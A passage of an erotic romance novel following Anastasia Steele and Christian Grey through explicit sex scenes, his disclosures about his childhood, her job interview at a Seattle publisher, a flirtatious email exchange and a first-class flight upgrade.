downs, I groan. + +“Good girl, Anastasia,” he groans, and his breathing is ragged. + + +He spanks me twice more, and then he pulls at the small threads attached to the balls +and jerks them out of me suddenly. I almost climax - the feeling is out of this world. Mov- +ing swiftly, he gently turns me over. I hear rather see the rip of the foil packet, and then he’s +lying beside me. He seizes my hands, hoists them over my head, and eases himself onto +me, into me, sliding slowly, filling me where the silver globes have been. I groan loudly. + +“Oh, baby,” he whispers as he moves back, forward, a slow sensual tempo, savoring +me, feeling me. + +It is the most gentle he has ever been, and it takes no time at all for me to fall over the +edge, spiraling into a delicious, violent, exhausting, orgasm. As I clench around him, it ig- +nites his release, and he slides into me, stilling, gasping out my name in desperate wonder. +“Ana!” + +He’s silent and panting on top of me, his hands still entwined in mine above my head. +Finally, he leans back and stares down at me. + +“I enjoyed that,” he whispers, and then kisses me sweetly. + +He doesn’t linger for more sweet kisses, but rises, covers me with the duvet, and disap- +pears into the bathroom. On his return he’s carrying a bottle of white lotion. He sits beside +me on the bed. + +“Roll over,” he orders, and begrudgingly I move on to my front. + +Honestly, all this fuss. I feel very sleepy. + +“Your ass is a glorious color,” he says approvingly, and he tenderly massages the cool- +ing lotion into my pink behind. + +“Spill the beans, Grey,” I yawn. + +“Miss Steele, you know how to ruin a moment.” + +“We had a deal.” + +“How do you feel?” + +“Short changed.” + +He sighs, slides in beside me, and pulls me into his arms. Careful not to touch my +stinging behind, we are spooning again. He kisses me very softly beside my ear. + +“The woman who brought me into this world was a crack-whore, Anastasia. Go to +sleep.” + +Holy fuck... what does that mean? + +“Was?” + +“She’s dead.” + +“How long?” + +He sighs. + +“She died when I was four. I don’t really remember her. Carrick has given me some +details. I only remember certain things. Please go to sleep.” + +“Goodnight, Christian.” + +“Goodnight, Ana.” + +And I slip into a dazed and exhausted sleep, dreaming of a four-year-old, gray-eyed +boy in a dark, scary, miserable place. + + +Chapter Twenty-One + + +There is light everywhere. Bright, warm, piercing light, and I endeavor to keep it at bay +for a few more precious minutes. I want to hide, just a few more minutes. But the glare is +too strong, and I finally succumb to wakefulness. A glorious Seattle morning greets me - +sunshine pouring through the full-height windows and flooding the room with too-bright +light. Why didn’t we close the blinds last night? I am in Christian Grey’s vast bed minus +one Christian Grey. + +I lie back for a moment staring through the windows at the lofty vista of Seattle’s +skyline. Life in the clouds sure feels unreal. A fantasy - a castle in the air, adrift from the +ground, safe from the realities of life - far away from neglect, hunger, and crack-whore +mothers. I shudder to think what he went through as a small child, and I understand why he +lives here, isolated, surrounded by beautiful, precious works of art - so far removed from +where he started... mission statement indeed. I frown because it still doesn’t explain why +I can’t touch him. + +Ironically, I feel the same up here in his lofty tower. I’m adrift from reality. I’m in this +fantasy apartment, having fantasy sex with my fantasy boyfriend. When the grim reality +is he wants a special arrangement, though he’s said he’ll try more. What does that actually +mean? This is what I need to clarify between us to see if we are still at opposite ends on +the see-saw or if we are inching closer together. + + +I clamber out of bed feeling stiff, and for want of a better expression, well-used. Yes, +that would be all the sex then. My subconscious purses her lips in disapproval. I roll my +eyes at her, grateful that a certain twitchy-palmed control freak is not in the room, and +resolve to ask him about the personal trainer. That’s if I sign. My inner goddess glares at +me in desperation. Of course you’ll sign. I ignore them both, and after a quick trip to the +bathroom, I go in search of Christian. + +He’s not in the art gallery, but an elegant middle-aged woman is cleaning in the kitchen +area. The sight of her stops me in my tracks. She has short blonde hair and clear blue eyes; +she wears a plain white tailored shirt and a navy blue pencil skirt. She smiles broadly when +she sees me. + +“Good morning, Miss Steele. Would you like some breakfast?” Her tone is warm +but business like, and I am stunned. Who is this attractive blonde in Christian’s kitchen? + +I’m only wearing Christian’s t-shirt. I feel self-conscious and embarrassed by my lack of +clothing. + +“I’m afraid you have me at a disadvantage.” My voice is quiet, unable to hide the +anxiety in my voice. + +“Oh, I’m terribly sorry - I’m Mrs. Jones, Mr. Grey’s housekeeper.” + +Oh. + +“How do you do?” I manage. + +“Would you like some breakfast, ma’am?” + +Ma’am! + +“Just some tea would be lovely, thank you. Do you know where Mr. Grey is?” + +“In his study.” + +“Thank you.” + +I scuttle off toward the study, mortified. Why does Christian only have attractive +blondes working for him? And a nasty thought comes involuntarily into my mind - Are +they all ex-subs? I refuse to entertain that hideous idea. I poke my head shyly round the +door. He’s on the phone, facing the window, in black pants and a white shirt. His hair is +still wet from the shower, and I’m completely distracted from my negative thoughts. + +“Unless that company’s P&L improves, I’m not interested, Ros. We’re not carrying +dead weight... I don’t need any more lame excuses... Have Marco call me, it’s shit or bust +time... Yes, tell Barney that the prototype looks good, though I’m not sure about the inter- +face... No, it’s just missing something... I want to meet him this afternoon to discuss... + +In fact, him and his team, we can brainstorm.... Okay. Transfer me back to Andrea... ” He +waits, staring out of the window, master of his universe, staring down at the little people +below from this castle in the sky. “Andrea... ” + +Glancing up, he notices me at the door. A slow, sexy smile spreads across his beauti- +ful face, and I’m rendered speechless as my insides melt. He is without a doubt the most +beautiful man on the planet, too beautiful for the little people below, too beautiful for me. + +No my inner goddess scowls at me, not too beautiful for me. He is sort of mine, for now. + +The idea sends a thrill through my blood and dispels my irrational self-doubt. + +He continues his conversation, his eyes never leaving mine. + +“Clear my schedule this morning, but get Bill to call me. I’ll be in at two. I need to +talk to Marco this afternoon, that will need at least half an hour. . . Schedule Barney and his + + +team in after Marco or maybe tomorrow, and find time for me to see Claude everyday this +week... Tell him to wait... Oh... No, I don’t want publicity for Darfur... Tell Sam to deal +with it... No.... Which event?... That’s next Saturday?... Hold on.” + +“When will you be back from Georgia?” he asks. + +“Friday.” + +He resumes his phone conversation. + +“I’ll need an extra ticket because I have a date... Yes Andrea, that’s what I said, a date, +Miss Anastasia Steele will accompany me... That’s all.” He hangs up. “Good morning, + +Miss Steele.” + +“Mr. Grey,” I smile shyly. + +He walks around his desk with his usual grace and stands in front of me. He smells so +good; clean and freshly laundered, so Christian. He gently strokes my cheek with the back +of his fingers. + +“I didn’t want to wake you, you looked so peaceful. Did you sleep well?” + +“I am very well-rested, thank you. I just came to say hi before I had a shower.” + +I gaze up at him, drinking him in. He leans down and gently kisses me, and I can’t +help myself. I throw my arms around his neck and my fingers twist in his still damp hair. +Pushing my body flush against his, I kiss him back. I want him. My attack takes him by +surprise, but after a beat, he responds, a low groan in his throat. His hands slip into my +hair and down my back to cup my naked behind, his tongue exploring my mouth. He pulls +back, his eyes hooded. + +“Well, sleep seems to agree with you,” he murmurs. “I suggest you go and have your +shower, or I shall lay you across my desk, now.” + +“I choose the desk,” I whisper recklessly as desire sweeps like adrenaline through my +system, waking everything in its path. + +He stares bewildered down at me for a millisecond. + +“You’ve really got a taste for this, haven’t you, Miss Steele. You’re becoming insa- +tiable,” he murmurs. + +“I’ve only got a taste for you,” I whisper. + +His eyes widen and darken while his hands knead my naked backside. + +“Damn right, only me,” he growls, and suddenly with one fluid movement, he clears all +the plans and papers off his desk so that they scatter on the floor, sweeps me up in his arms, +and lays me down across the short end of his desk so that my head is almost off the edge. + +“You want it, you got it, baby,” he mutters, producing a foil packet from his pants +pocket while he unzips his pants. Oh Mr. Boy Scout. He rolls the condom over his erection +and gazes down at me. “I sure hope you’re ready,” he breathes, a salacious smile across his +face. And in a moment, he’s filling me, holding my wrists tightly by my side, and thrusting +into me deeply. + +I groan... oh yes. + +“Christ, Ana. You’re so ready,” he whispers in veneration. + +Wrapping my legs around his waist, I hold him the only way I can as he stays standing, +staring down at me, gray eyes glowing, passionate and possessive. He starts to move, re- +ally move. This is not making love, this is fucking - and I love it. I groan. It’s so raw, so +carnal, making me so wanton. I revel in his possession, his lust slaking mine. He moves + + +with ease, luxuriating in me, enjoying me, his lips slightly parted as his breathing increases. +He twists his hips from side to side, and the feeling is exquisite. + +Oh my. I close my eyes, feeling the build up - that delicious, slow, step climbing build. +Pushing me higher, higher to the castle in the air. Oh yes... his stroke increasing fractional- +ly. I moan loudly. I am all sensation... all him, enjoying every thrust, every push that fills +me. And he picks up the pace, thrusting faster... harder... and my whole body is moving +to his rhythm, and I can feel my legs stiffening, and my insides quivering and quickening. + +“Come on, baby, give it up for me,” he cajoles through gritted teeth - and the fervent +need in his voice - the strain - sends me over the edge. + +I cry out a wordless, passionate plea as I touch the sun and burn, falling around him, +falling down, back to a breathless, bright summit on Earth. He slams into me and stops +abruptly as he reaches his climax, pulling at my wrists, and sinking gracefully and word- +lessly onto me. + +Wow... that was unexpected. I slowly materialize back on Earth. + +“What the hell are you doing to me?” he breathes as he nuzzles my neck. “You com- +pletely beguile me, Ana. You weave some powerful magic.” + +He releases my wrists, and I run my fingers through his hair, coming down from my +high. I tighten my legs around him. + +“I’m the one beguiled,” I whisper. + +He looks up, gazing at me, his expression is disconcerted, alarmed even. Placing his +hands on either side of my face, he holds my head in place. + +“You. Are. Mine,” he says, each word a staccato. “Do you understand?” + +He’s so earnest, so impassioned - a zealot. The force of his plea is so unexpected and +disarming. I wonder why he’s feeling like this. + +“Yes, yours,” I whisper, derailed by his fervor. + +“Are you sure you have to go to Georgia?” + +I nod slowly. And in that brief moment, I can see his expression change and the shut- +ters coming down. Abruptly he withdraws, making me wince. + +“Are you sore?” he asks, leaning over me. + +“A little,” I confess. + +“I like you sore.” His eyes smolder. “Reminds you where I’ve been, and only me.” + +He grabs my chin and kisses me roughly, then stands and holds his hand out to help me +up. I glance down at the foil packet beside me. + +“Always prepared,” I murmur. + +He looks at me confused as he redoes his fly. I hold up the empty packet. + +“A man can hope, Anastasia, dream even, and sometimes his dreams come true.” + +He sounds so odd, his eyes burning. I just don’t understand. My post coital glow is +fading fast. What is his problem? + +“So, on your desk, that’s been a dream?” I ask dryly, trying humor to lighten the atmo- +sphere between us. + +He smiles an enigmatic smile that doesn’t reach his eyes, and I know immediately this +is not the first time he’s had sex on his desk. The thought is unwelcome. I squirm uncom- +fortably as my post coital glow evaporates. + +“I’d better go and have a shower.” I stand and make to move past him. + + +He frowns and runs a hand through his hair. + +“I’ve got a couple more calls to make. I’ll join you for breakfast once you’re out of +the shower. I think Mrs. Jones has laundered your clothes from yesterday. They’re in the +closet.” + +What? When the hell did she do that? Jeez, could she hear us? I flush. + +“Thank you,” I mutter. + +“You’re most welcome,” he replies automatically, but there’s an edge to his voice. + +I’m not saying thank you for fucking me. Although, it was very... + +“What?” he asks, and I realize I’m frowning. + +“What’s wrong?” I ask softly. + +“What do you mean?” + +“Well... you’re being more weird than usual.” + +“You find me weird?” He tries to stifle a smile. + +I blush. + +“Sometimes.” + +He regards me for a moment, his eyes speculative. + +“As ever, I’m surprised by you, Miss Steele.” + +“Surprised how?” + +“Let’s just say that was an unexpected treat.” + +“We aim to please, Mr. Grey.” I cock my head to one side like he often does to me and +give his words back to him. + +“And please me you do,” he says, but he looks uneasy. “I thought you were going to +have a shower.” + +Oh, he’s dismissing me. + +“Yes... urn, I’ll see you in a moment.” I scurry out of his office completely dumb- +founded. + +He seemed confused. Why? I have to say as physical experiences go, that was very +satisfying. But emotionally - well, I’m rattled by his reaction, and that was about as emo- +tionally enriching as cotton candy is nutritious. + +Mrs. Jones is still in the kitchen. + +“Would you like your tea now, Miss Steele?” + +“I’ll have a shower first, thank you,” I mutter and take my blazing face quickly out of +the room. + +In the shower, I try to figure out what’s up with Christian. He is the most complicated +person I know, and I cannot understand his ever-changing moods. He seemed fine when +I went into his study. We had sex... and then he wasn’t. No, I don’t get it. I look to my +subconscious. She’s whistling with her hands behind her back and looking anywhere but at +me. She hasn’t got a clue, and my inner goddess is still basking in a remnant of post-coital +glow. No - we’re all clueless. + +I towel-dry my hair, comb it through with Christian’s one and only hair implement, +and put my hair up in bun. Kate’s plum dress hangs laundered and ironed in the closet +along with my clean bra and panties. Mrs. Jones is a marvel. Slipping on Kate’s shoes, I +straighten my dress, take a deep breath, and head back out to the great room. + + +Christian is still nowhere to be seen, and Mrs. Jones is checking the contents of the +pantry. + +“Tea now, Miss Steele?” she asks. + +“Please.” I smile at her. I feel slightly more confident now that I’m dressed. + +“Would you like something to eat?” + +“No, thank you.” + +“Of course you’ll have something to eat,” Christian snaps, glowering. “She likes pan- +cakes, bacon, and eggs, Mrs. Jones.” + +“Yes, Mr. Grey. What would you like, sir?” + +“Omelet, please, and some fruit.” He doesn’t take his eyes off me, his expression un- +fathomable. “Sit,” he orders, pointing to one of the bar stools. + +I oblige, and he sits beside me while Mrs. Jones busies herself with breakfast. Gosh, +it’s unnerving having someone else listen to our conversation. + +“Have you bought your air ticket?” + +“No, I’ll buy it when I get home - over the Internet.” + +He leans on his elbow, rubbing his chin. + +“Do you have the money?” + +Oh no. + +“Yes,” I say with mock patience as if I’m talking to a small child. + +He raises a censorious eyebrow at me. Crap. + +“Yes, I do, thank you,” I amend rapidly. + +“I have a jet. It’s not scheduled to be used for three days, it’s at your disposal.” + +I gape at him. Of course he has a jet, and I have to resist my body’s natural inclination +to roll my eyes at him. I want to laugh. But I don’t, as I can’t read his mood. + +“We’ve already made serious misuse of your company’s aviation fleet. I wouldn’t +want to do it again.” + +“It’s my company, it’s my jet.” He sounds almost wounded. Oh, boys and their toys! +“Thank you for the offer. But I’d be happier taking a scheduled flight.” + +He looks like he wants to argue further but decides against it. + +“As you wish,” he sighs. “Do you have much preparation to do for your interview?” +“No.” + +“Good. You’re still not going to tell me which publishing houses?” + +“No.” + +His lips curl up in a reluctant smile. + +“I am a man of means, Miss Steele.” + +“I am fully aware of that, Mr. Grey. Are you going to track my phone?” I ask inno- +cently. + +“Actually, I’ll be quite busy this afternoon, so I’ll have to get someone else to do it.” + +He smirks. + +Is he joking? + +“If you can spare someone to do that, you’re obviously overstaffed.” + +“I’ll send an email to the head of human resources and have her look into our head +count.” His lips twitch to hide his smile. + +Oh thank the Lord, he’s recovered his sense of humor. + + +Mrs. Jones serves us breakfast and we eat quietly for a few moments. After clearing +the pans, tactfully, she heads out of the living area. I peek up at him. + +“What it is, Anastasia?” + +“You know, you never did tell me why you don’t like to be touched.” + +He blanches, and his reaction makes me feel guilty for asking. + +“I’ve told you more than I’ve ever told anybody.” His voice is quiet as he gazes at me +impassively. + +And it’s clear to me that he’s never confided in anyone. Doesn’t he have any close +friends? Perhaps he told Mrs. Robinson? I want to ask him, but I can’t - I can’t pry that +invasively. I shake my head at the realization. He really is an island. + +“Will you think about our arrangement while you’re away?” he asks. + +“Yes.” + +“Will you miss me?” + +I gaze at him, surprised by his question. + +“Yes,” I answer honestly. + +How could he mean so much to me in such a short time? He’s got right under my +skin... literally. He smiles and his eyes light up. + +“I’ll miss you too. More than you know,” he breathes. + +My heart warms at his words. He really is trying, hard. He gently strokes my cheek, +bends down, and kisses me softly. + + + + +It is late afternoon, and I sit nervous and fidgeting in the lobby waiting for Mr. J. Hyde +of Seattle Independent Publishing. This is my second interview today, and the one I’m +most anxious about. My first interview went well, but it was for a larger conglomerate with +offices based throughout the US, and I would be one of many editorial assistants there. I +can imagine being swallowed up and spat out pretty quickly in such a corporate machine. +SIP is where I want to be. It’s small and unconventional, championing local authors, and +has an interesting and quirky roster of clients. + +My surroundings are sparse, but I think it’s a design statement rather than frugality. I +am seated on one of two dark green chesterfield couches made of leather - not unlike the +couch that Christian has in his playroom. I stroke the leather appreciatively and wonder +idly what Christian does on that couch. My mind wanders as I think of the possibili- +ties... no - I must not go there now. I flush at my wayward and inappropriate thoughts. + +The receptionist is a young African-American woman with large silver earrings and long +straightened hair. She has a bohemian look about her, the sort of woman I could be friendly +with. The thought is comforting. Every few moments, she glances at up me, away from +her computer and smiles reassuringly. I tentatively return her smile. + + +My flight is booked; my mother is in seventh heaven that I am visiting; I am packed, +and Kate has agreed to drive me to the airport. Christian has ordered me to take my Black- +Berry and the Mac. I roll my eyes at the memory of his overbearing bossiness, but I realize +now that’s just the way he is. He likes control over everything, including me. Yet he’s +so unpredictably and disarmingly agreeable too. He can be tender, good-humored, even +sweet. And when he is, it’s so left field and unexpected. He insisted on accompanying me +all the way down to my car in the garage. Jeez, I’m only going for a few days, he’s acting +like I’m going for weeks. He keeps me on the back foot permanently. + +“Ana Steele?” A woman with long, black, pre-Raphaelite hair standing by the recep- +tion desk distracts me from my introspection. She has the same bohemian, floaty look as +the receptionist. She could be in her late thirties, maybe in her forties. It’s so difficult to +tell with older women. + +“Yes,” I reply, standing awkwardly. + +She gives me a polite smile, her cool hazel eyes assessing me. I am wearing one of +Kate’s dresses, a black pinafore over a white blouse, and my black pumps. Very interview, + +I think. My hair is restrained in a ponytail, and for once the tendrils are behaving them- +selves... she holds her hand out to me. + +“Hello, Ana, my name’s Elizabeth Morgan. I’m head of Human Resources here at + +SIP.” + +“How do you do?” I shake her hand. She looks very casual to be the head of HR. + +“Please follow me.” + +We go through the double doors behind the reception area, into a large brightly deco- +rated open plan office, and from there, head into a small meeting room. The walls are pale +green, lined with pictures of book covers. At the head of the Maplewood conference table +sits a young man with red hair tied in a ponytail. Small, silver, hooped earrings glint in +both his ears. He wears a pale blue shirt, no tie, and grey flannel trousers. As I approach +him, he stands and gazes at me with fathomless dark blue eyes. + +“Ana Steele, I’m Jack Hyde, the commissioning editor here at SIP, and I’m very +pleased to meet you.” + +We shake hands, and his dark expression is unreadable, though friendly enough, I +think. + +“Have you traveled far?” he asks pleasantly. + +“No, I’ve recently moved to the Pike Street Market area.” + +“Oh, not far at all then. Please, take a seat.” + +I sit, and Elizabeth takes a seat beside him. + +“So why would you like to intern for us at SIP, Ana?” he asks. + +He says my name softly and cocks his head to one side, like someone I know - it’s +unnerving. Doing my best to ignore the irrational wariness he inspires, I launch into my +carefully prepared speech, conscious that a rosy flush is spreading across my cheeks. I look +at both of them, remembering The Katherine Kavanagh Successful Interviewing Technique +lecture - maintain eye contact, Ana! Boy, that woman can be bossy too, sometimes. Jack +and Elizabeth both listen attentively. + +“You have a very impressive GPA. What extra-curricular activities did you indulge in +at WSU?” + + +Indulge? I blink at him. What an odd choice of word. I launch into details of my +librarianship at the campus central library, and my one experience of interviewing an ob- +scenely rich despot for the student magazine. I gloss over the part that I didn’t actually +write the article. I mention the two literary societies that I belonged to and conclude with +working at Clayton’s and all the useless knowledge I now possess about hardware and DIY. +They both laugh, which is the response I’d hoped for. Slowly, I relax and begin to enjoy +myself. + +Jack Hyde asks sharp, intelligent questions, but I’m not thrown - I keep up, and when +we discuss my reading preferences and my favorite books, I think I hold my own. Jack, on +the other hand, appears to only favor American literature written after 1950. Nothing else. + +No classics - not even Henry James or Upton Sinclair or F Scott Fitzgerald. Elizabeth says +nothing, just nods occasionally and takes notes. Jack, though argumentative, is charming +in his way, and my initial wariness dissipates the longer we talk. + +“And where do you see yourself in five years’ time?” he asks. + +With Christian Grey, the thought comes involuntarily into my head. My errant mind +makes me frown. + +“Copy editing perhaps? Maybe a literary agent, I’m not sure. I am open to opportuni- +ties.” + +He grins. + +“Very good, Ana. I don’t have any further questions. Do you?” he directs his question +at me. + +“When would you like someone to start?” I ask. + +“As soon as possible,” Elizabeth pipes up. “When could you start?” + +“I’m available from next week.” + +“That’s good to know,” Jack says. + +“If that’s all anyone has to say,” Elizabeth glances at the two of us, “I think that con- +cludes the interview.” She smiles kindly. + +“It’s been a pleasure to meet you, Ana,” Jack says softly as he takes my hand. He +squeezes it gently, so that I blink up at him as I say goodbye. + +I feel unsettled as I make my way to my car, though I’m not sure why. I think the inter- +view went well, but it’s so hard to say. Interviews seem such artificial situations, everyone +on their best behavior trying desperately to hide behind a professional fagade. Did my face +fit? I shall have to wait and see. + +I climb into my Audi A3 and head back to the apartment, though I take me time. I’m on +the red-eye with a stopover in Atlanta, but my flight doesn’t leave until 10:25 this evening, +so I have plenty of time. + +Kate is unpacking boxes in the kitchen when I return. + +“How did they go?” she asks, excited. Only Kate can look gorgeous in an oversized +shirt, tattered jeans, and a dark blue bandana. + +“Good, thanks, Kate. Not sure this outfit was cool enough for the second interview.” + +“Oh?” + +“Boho chic might have done it.” + +Kate raises an eyebrow. + + +“You and boho chic.” She cocks her head to one side - Gah! Why is everyone remind- +ing me of my favorite Fifty Shades? “Actually, Ana, you’re one of the few people who +could really pull that look off.” + +I grin. + +“I really liked the second place. I think I could fit in there. The guy who interviewed +me was unnerving though,” I trail off - shit I’m talking to foghorn Kavanagh here. Shut +up Ana! + +“Oh?” The Katherine Kavanagh radar for an interesting tidbit of information swoops +into action - a tidbit that will only resurface at some inopportune and embarrassing mo- +ment, which reminds me. + +“Incidentally - will you please stop winding Christian up? Your comment about Jose +at dinner yesterday was out of line. He’s a jealous guy. It doesn’t do any good, you know.” +“Look, if he wasn’t Elliot’s brother I’d have said a lot worse. He’s a real control freak. + +I don’t know how you stand it. I was trying to make him jealous - give him a little help +with his commitment issues.” She holds her hands up defensively. “But - if you don’t want +me to interfere, I won’t,” she says hastily at my scowl. + +“Good. Life with Christian is complicated enough, trust me.” + +Jeez, I sound like him. + +“Ana,” she pauses staring at me. “You’re okay, aren’t you? You’re not running to your +mother’s to escape?” + +I flush. + +“No Kate. It was you who said I needed a break.” + +She closes the distance between us and takes my hands - a most un-Kate thing to do. +Oh no... tears threaten. + +“You’re just, I don’t know... different. I hope you’re okay, and whatever issues you’re +having with Mr. Moneybags, you can talk to me. And I will try not to wind him up, though +frankly it’s like shooting fish in a barrel with him. Look, Ana, if something’s wrong, you +will tell me, I won’t judge. I’ll try to understand.” + +I blink back tears. + +“Oh, Kate.” I hug her. “I think I’ve really fallen for him.” + +“Ana, anyone can see that. And he’s fallen for you. He’s mad about you. Won’t take +his eyes off you.” + +I laugh uncertainly. + +“Do you think so?” + +“Hasn’t he told you?” + +“Not in so many words.” + +“Have you told him?” + +“Not in so many words.” I shrug apologetically. + +“Ana! Someone has to make the first move, otherwise you’ll never get anywhere.” +What... tell him how I feel? + +“I’m just afraid I’ll frighten him away.” + +“And how do you know he’s not feeling the same?” + + +“Christian, afraid? I can’t imagine him being frightened of anything.” But as I say the +words, I imagine him as a small child. Maybe fear was all he knew then. Sorrow grips and +squeezes my heart at the thought. + +Kate gazes at me with pursed lips and narrowed eyes, rather like my subconscious - all +she needs is the half-moon specs. + +“You two need to sit down and talk to each other.” + +“We haven’t been doing much talking lately.” I flush. Other stuff. Non-verbal com- +munication and that’s okay. Well, much more than okay. + +She grins. + +“That’ll be the sexing! If that’s going well, then that’s half the battle Ana. I’ll grab +some Chinese take-out. Are you ready to go?” + +“I will be - we don’t have to leave for a couple of hours or so.” + +“No - I’ll see you in twenty.” She grabs her jacket and leaves, forgetting to close the +door. I shut it behind her and head off to my bedroom mulling over her words. + +Is Christian afraid of his feelings for me? Does he even have feelings for me? He +seems very keen, says I’m his - but that’s just part of his l-must-own-and-have-everything- +now - control-freak dominant self, surely. I realize that while I’m away, I will have to run +through all our conversations again and see if I can pick out telltale signs. + + +I’ll miss you too... more than you know... +You’ve completely beguiled me... + + +I shake my head. I don’t want to think about it now. I am charging the BlackBerry, +so I haven’t had it with me all afternoon. I approach it with caution, and I’m disappointed +that there are no messages. I switch on the mean machine, and there are no messages there +either. Same email address Ana - my subconscious rolls her eyes at me, and for the first +time, I understand why Christian wants to spank me when I do that. + +Okay. Well, I’ll write him an email. + + +From: Anastasia Steele +Subject: Interviews +Date: May 30 2011 18:49 +To: Christian Grey + +Dear Sir + +My interviews went well today. +Thought you might be interested. +How was your day? + +Ana + + +I sit and glare at the screen. Christian’s responses are usually instantaneous. I wait... and +wait, and finally I hear the welcome ping from my inbox. + + +From: Christian Grey +Subject: My day +Date: May 30 2011 19:03 +To: Anastasia Steele + +Dear Miss Steele + +Everything you do interests me, you are the most fascinating woman I know. +I’m glad your interviews went well. + +My morning was beyond all expectations. + +My afternoon was very dull in comparison. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Fine Morning +Date: May 30 2011 19:05 +To: Christian Grey + +Dear Sir + +The morning was exemplary for me too, in spite of you weirding out on me after the im- +peccable desk sex. Don’t think I didn’t notice. + +Thank you for breakfast. Or thank Mrs. Jones. + +I’d like to ask you questions about her - without you weirding out on me again. + +Ana + + +My finger hovers over the send button, and I am reassured that I’ll be on the other side of +the continent this time tomorrow. + + +From: Christian Grey +Subject: Publishing and You? + +Date: May 30 2011 19:10 +To: Anastasia Steele + +Anastasia + +‘Weirding’ is not a verb and should not be used by anyone who wants to go into publish- +ing. Impeccable? Compared to what, pray tell? And what do you need to ask about Mrs. +Jones? I’m intrigued. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: You and Mrs. Jones +Date: May 30 2011 19:17 + + +To: Christian Grey +Dear Sir + +Language evolves and moves on. It is an organic thing. It is not stuck in an ivory tower, +hung with expensive works of art and overlooking most of Seattle with a helipad stuck on +its roof. + +Impeccable - compared to the other times we have... what’s your word... oh yes... +fucked. Actually the fucking has been pretty impeccable, period, in my humble opinion - +but then as you know I have very limited experience. + +Is Mrs. Jones an ex-sub of yours? + +Ana + + +My finger hovers once more over the send button, and I press it. + + +From: Christian Grey + +Subject: Language. Watch Your Mouth! + +Date: May 30 2011 19:22 +To: Anastasia Steele + +Anastasia + +Mrs. Jones is a valued employee. I have never had any relationship with her beyond +our professional one. I do not employ anyone I’ve had any sexual relations with. I am +shocked that you would think so. The only person I would make an exception to this +rule is you - because you are a bright young woman with remarkable negotiating skills. +Though, if you continue to use such language, I may have to reconsider taking you on +here. I am glad you have limited experience. Your experience will continue to be limited +- just to me. I shall take impeccable as a compliment - though with you, I’m never sure if +that’s what you mean, or if your sense of irony is getting the better of you - as usual. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. From His Ivory Tower + + +From: Anastasia Steele +Subject: Not for all the Tea in China +Date: May 30 2011 19:27 +To: Christian Grey + +Dear Mr. Grey + +I think I have already expressed my reservations about working for your company. My +views on this have not changed, are not changing, and will not change, ever. I must +leave you now as Kate has returned with food. My sense of irony and I, bid you good- +night. + +I will contact you once I’m in Georgia. + +Ana + + +From: Christian Grey + +Subject: Even Twinings English Breakfast Tea? + +Date: May 30 2011 19:29 +To: Anastasia Steele + +Goodnight Anastasia. + +I hope you and your sense of irony have a safe flight. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + + + +Kate and I pull up outside the drop-off area at Sea-Tac Airport terminal. Leaning across, +she hugs me. + +“Enjoy Barbados, Kate. Have a wonderful holiday.” + +“I’ll see you when I get back. Don’t let old moneybags grind you down.” + +“I won’t.” + +We hug again - and then I’m on my own. I head over to check-in and stand in line, +waiting with my carry-on luggage. I haven’t bothered with a suitcase, just a smart rucksack +that Ray gave me for my last birthday. + +“Ticket please?” The bored young man behind the desk holds up his hand without +looking at me. + +Mirroring his boredom, I hand over my ticket and my driver’s license as ID. I am hop- +ing for a window seat if at all possible. + +“Okay, Miss Steele. You’ve been upgraded to first class.” + +“What?” + +“Ma’am, if you’d like to go through to the first class lounge and await your flight +there.” He seems to have woken up and is beaming at me like I’m the Christmas Fairy and +the Easter Bunny rolled into one. + +“Surely there’s some mistake.” + +“No, no.” He checks his computer screen again. “Anastasia Steele - upgrade.” He +simpers at me. + +Ugh. I narrow my eyes. He hands me my boarding pass, and I head towards the first +class lounge muttering under my breath. Damn Christian Grey, interfering control freak - +he just can’t leave well enough alone. + + +Chapter Twenty-Two + + +I am manicured, massaged, and I’ve had two glasses of champagne. The First Class lounge +has many redeeming features. With each sip of Moet, I feel slightly more inclined to for- +give Christian and his intervention. I open up my MacBook, hoping to test the theory that +it works anywhere on the planet. + + +From: Anastasia Steele +Subject: Over-Extravagant Gestures +Date: May 30 2011 21:53 +To: Christian Grey + +Dear Mr. Grey + +What really alarms me is how you knew which flight I was on. + +Your stalking knows no bounds. Let’s hope that Dr. Flynn is back from vacation. + +I have had a manicure, a back massage, and two glasses of champagne - a very nice +start to my vacation. + +Thank you. + +Ana + + +From: Christian Grey +Subject: You’re Most Welcome + + + +Date: May 30 2011 21:59 +To: Anastasia Steele + +Dear Miss Steele + +Dr. Flynn is back, and I have an appointment this week. +Who was massaging your back? + + +Christian Grey + +CEO with friends in the right places, Grey Enterprises Holdings Inc. + + +Aha! Pay back time. Our flight has been called so I shall email him from the plane. It will +be safer. I almost hug myself with mischievous glee. + + +There is so much room in first class. Champagne cocktail in hand, I settle myself into the +sumptuous leather window seat as the cabin slowly fills. I call Ray to tell him where I am +- a mercifully brief call, as it’s so late for him. + +“Love you, Dad,” I murmur. + +“You too, Annie. Say hi to your mom. Goodnight.” + +“Goodnight.” I hang up. + +Ray is in good form. I stare at my Mac and with the same childish glee building. +Opening my laptop, I log into the email program. + + +From: Anastasia Steele +Subject: Strong Able Hands +Date: May 30 2011 22:22 +To: Christian Grey + +Dear Sir + +A very pleasant young man massaged my back. Yes. Very pleasant indeed. I wouldn’t +have encountered Jean-Paul in the ordinary departure lounge - so thank you again for +that treat. I’m not sure if I’ll be allowed to email once we take off, and I need my beauty +sleep since I’ve not been sleeping so well recently. + +Pleasant dreams Mr. Grey... thinking of you. + +Ana + + +Oh, he’s going to flip out - and I shall be airborne and out of reach. Serves him right. + +If I’d been in the ordinary departure lounge then Jean-Paul wouldn’t have gotten his hands +on me. He was a very nice young man, in a blonde, perma-tanned way - honestly, who +has a tan in Seattle? It’s just so wrong. I think he was gay - but I’ll just keep that detail to +myself. I stare at my email. Kate is right. It is like shooting fish in a barrel with him. My +subconscious stares at me with an ugly twist to her mouth - do you really want to wind him +up? What he’s done is sweet, you know! He cares about you and wants you to travel in + + +style. Yes, but he could have asked me or told me. Not made me look like a complete klutz +at check-in. I press send and wait, feeling like a very naughty girl. + +“Miss Steele, you’ll need to stow your laptop for take-off,” the over-made-up flight +attendant says politely. She makes me jump. My guilty conscience is at work. + +“Oh, sorry.” + +Crap. Now I’ll have to wait to know if he’s replied. She hands me a soft blanket and +pillow, showing her perfect teeth. I drape the blanket over my knees. It’s nice to feel mol- +lycoddled sometimes. + +The cabin has filled up, except for the seat beside me which is still 